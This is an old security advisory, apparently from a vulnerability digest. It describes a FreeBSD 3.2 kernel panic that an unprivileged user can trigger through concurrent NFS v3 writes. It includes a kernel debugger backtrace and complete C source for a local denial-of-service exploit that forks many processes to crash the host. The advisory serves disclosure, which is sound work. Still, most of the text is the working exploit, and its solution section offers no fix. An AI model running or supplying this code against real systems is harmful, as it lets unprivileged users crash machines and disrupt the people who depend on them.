COMMAND

    kernel

SYSTEMS AFFECTED

    FreeBSD 3.2-RELEASE and -STABLE (others?)

PROBLEM

    Sebastien Petit found following.  There is a problem with  FreeBSD
    3.2-RELEASE  and  -STABLE  and  perhaps  FreeBSD  3.x.  The system
    panics  when  a  program  does  multiple  access on nfs v3 mounted
    directory  with  default  mount  options  (ie:  mount x.x.x.x:/nfs
    /usr2).  FreeBSD 3.2 crashes immediatly with no warnings and  just
    a  "panic:   getnewbuf:   cannot  get  buffer,  infinite recursion
    failure" without  root privileges.   This is  simple to  reproduce
    with a program that creates  a lot of process (ie:  120) accessing
    the nfs mounted directory  and just does "open",  "seek", "write",
    "close".

    gdb:
    panic: getnewbuf: cannot get buffer, infinite recursion failure
    
    syncing disks... panic: getnewbuf: cannot get buffer, infinite recursion
    failure
    
    dumping to dev 20001, offset 272816
    dump 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110
    109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88
    87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62
    61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35
    34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7
    6 5 4 3 2 1
    ---
    #0  boot (howto=260) at ../../kern/kern_shutdown.c:285
    285                     dumppcb.pcb_cr3 = rcr3();
    (kgdb) where
    #0  boot (howto=260) at ../../kern/kern_shutdown.c:285
    #1  0xc012f87c in at_shutdown (
        function=0xc02075f1
    <__set_sysctl__vfs_sym_sysctl___vfs_kvafreespace+361>,
        arg=0x200, queue=1174437888) at ../../kern/kern_shutdown.c:446
    #2  0xc014dc9f in getnewbuf (vp=0xcc1edb40, blkno=2293824, slpflag=0,
        slptimeo=0, size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1074
    #3  0xc014e58c in getblk (vp=0xcc1edb40, blkno=2293824, size=8192,
    slpflag=0,
        slptimeo=0) at ../../kern/vfs_bio.c:1511
    #4  0xc014cd85 in bread (vp=0xcc1edb40, blkno=2293824, size=8192,
    cred=0x0,
        bpp=0xcc3acbec) at ../../kern/vfs_bio.c:282
    #5  0xc01b60f8 in ffs_update (vp=0xcc21ea40, waitfor=0)
        at ../../ufs/ffs/ffs_inode.c:98
    #6  0xc01ba92f in ffs_fsync (ap=0xcc3acc74) at
    ../../ufs/ffs/ffs_vnops.c:258
    #7  0xc01b8cb7 in ffs_sync (mp=0xc1d01c00, waitfor=2, cred=0xc0756300,
        p=0xc0246624) at vnode_if.h:499
    #8  0xc0155f37 in sync (p=0xc0246624, uap=0x0) at
    ../../kern/vfs_syscalls.c:549
    #9  0xc012f43d in boot (howto=256) at ../../kern/kern_shutdown.c:203
    #10 0xc012f87c in at_shutdown (
        function=0xc02075f1
    <__set_sysctl__vfs_sym_sysctl___vfs_kvafreespace+361>,
        arg=0x2000, queue=12443648) at ../../kern/kern_shutdown.c:446
    #11 0xc014dc9f in getnewbuf (vp=0xcc243280, blkno=1519, slpflag=0,
    slptimeo=0,
        size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1074
    #12 0xc014e58c in getblk (vp=0xcc243280, blkno=1519, size=8192,
    slpflag=0,
        slptimeo=0) at ../../kern/vfs_bio.c:1511
    #13 0xc017b9fa in nfs_getcacheblk (vp=0xcc243280, bn=1519, size=8192,
        p=0xcc36f700) at ../../nfs/nfs_bio.c:904
    #14 0xc017b5a5 in nfs_write (ap=0xcc3acec8) at ../../nfs/nfs_bio.c:765
    #15 0xc0159dea in vn_write (fp=0xc1d40d40, uio=0xcc3acf10,
    cred=0xc1d36300,
        flags=0) at vnode_if.h:331
    #16 0xc013a73a in dofilewrite (p=0xcc36f700, fp=0xc1d40d40, fd=3,
        buf=0x804b000, nbyte=102400, offset=-1, flags=0)
        at ../../kern/sys_generic.c:363
    #17 0xc013a643 in write (p=0xcc36f700, uap=0xcc3acf94)
        at ../../kern/sys_generic.c:298
    #18 0xc01e6edb in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 0,
          tf_esi = 12384951, tf_ebp = -1077945584, tf_isp = -868560924,
          tf_ebx = 12384951, tf_edx = 0, tf_ecx = 12384951, tf_eax = 4,
          tf_trapno = 7, tf_err = 2, tf_eip = 671700396, tf_cs = 31,
          tf_eflags = 582, tf_esp = -1077946192, tf_ss = 39})
        at ../../i386/i386/trap.c:1100
    #19 0xc01dda5c in Xint0x80_syscall ()
    #20 0x8048799 in ?? ()

    Exploit follows:

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/wait.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <stdio.h>
    #include <sys/time.h>
    #include <time.h>
    
    void usr1() {
    }
    
    int main(int argc, char ** argv) {
      int nbfils;
      int nbopen;
      int tbloc;
      int tfichier;
      char filename[512];
      int i, j, k, f;
      int pid;
      struct timeval start;
      struct timeval end;
      float delay;
      void * bloc;
    
      if (argc<6) {
        fprintf(stderr, "Syntax: %s rep_nfs/ nb_child nb_open sizefile(Kb) blocksize(kb).\n", argv[0]);
        fprintf(stderr, "ie: %s /TEST/ 120 200 20000 100\n");
        exit(EXIT_FAILURE);
      }
    
      nbfils = atoi(argv[2]);
      nbopen = atoi(argv[3]);
      tfichier = atoi(argv[4]);
      tbloc = atoi(argv[5]);
    
      bloc = malloc(tbloc * 1024);
      memset(bloc, 0, tbloc * 1024);
      if (!bloc) {
        fprintf(stderr, "%s: ", argv[0]);
        perror("malloc");
        exit(-1);
      }
    
      fprintf(stderr, "forking %d times...\n", nbfils);
    
      signal(SIGUSR1, &usr1);
    
      j = 0;
      for(i=0;i<nbfils;i++) {
        pid = fork();
        if (pid<0) {
          perror("fork");
          break;
        } else
          j++;
        if (!pid) break;
      }
    
    
      if (!pid) {
        pause();
        pid = getpid();
        srand(pid*10);
        fprintf(stderr, "[%d] child %d: Here I go!\n", pid, i);
        sprintf(filename, "%s%d", argv[1], pid);
        for(i=0;i<nbopen;i++) {
          f = open(filename, O_CREAT|O_RDWR, 0666);
          if (f<0) {
	    fprintf(stderr, "[%d] file %s ", pid, filename);
	    perror("open");
	    break;
          }
          k = (rand() % (tfichier * 1024));
          j = lseek(f, k, SEEK_SET);
          if (j!=k) {
	    fprintf(stderr, "[%d] ", pid);
	    perror("lseek");
	    break;
          }
          // read(f, bloc, tbloc*1024);
          if (write(f, bloc, tbloc*1024)!=tbloc*1024) {
	    fprintf(stderr, "[%d] ", pid);
	    perror("write");
	    break;
          }
          sync();
          if (close(f)) {
	    fprintf(stderr, "[%d] ", pid);
	    perror("close");
	    break;
          }
        }
        exit(0);
      }
    
      sleep(2);
      gettimeofday(&start, NULL);
      kill(0, SIGUSR1);
    
      i = 0;
      while (i<nbfils)
        if (waitpid(-1, NULL, 0)>0)
          i++;
    
      fprintf(stderr, "they're all dead now, exiting.\nYour system is not vulnerable\n");
      gettimeofday(&end, NULL);
      delay = end.tv_sec - start.tv_sec + ((float) (end.tv_usec - start.tv_usec))
        / (float) 1000000;
    
      i = nbopen * tbloc * nbfils;
    
      exit(0);
    }

SOLUTION

    Nothing yet.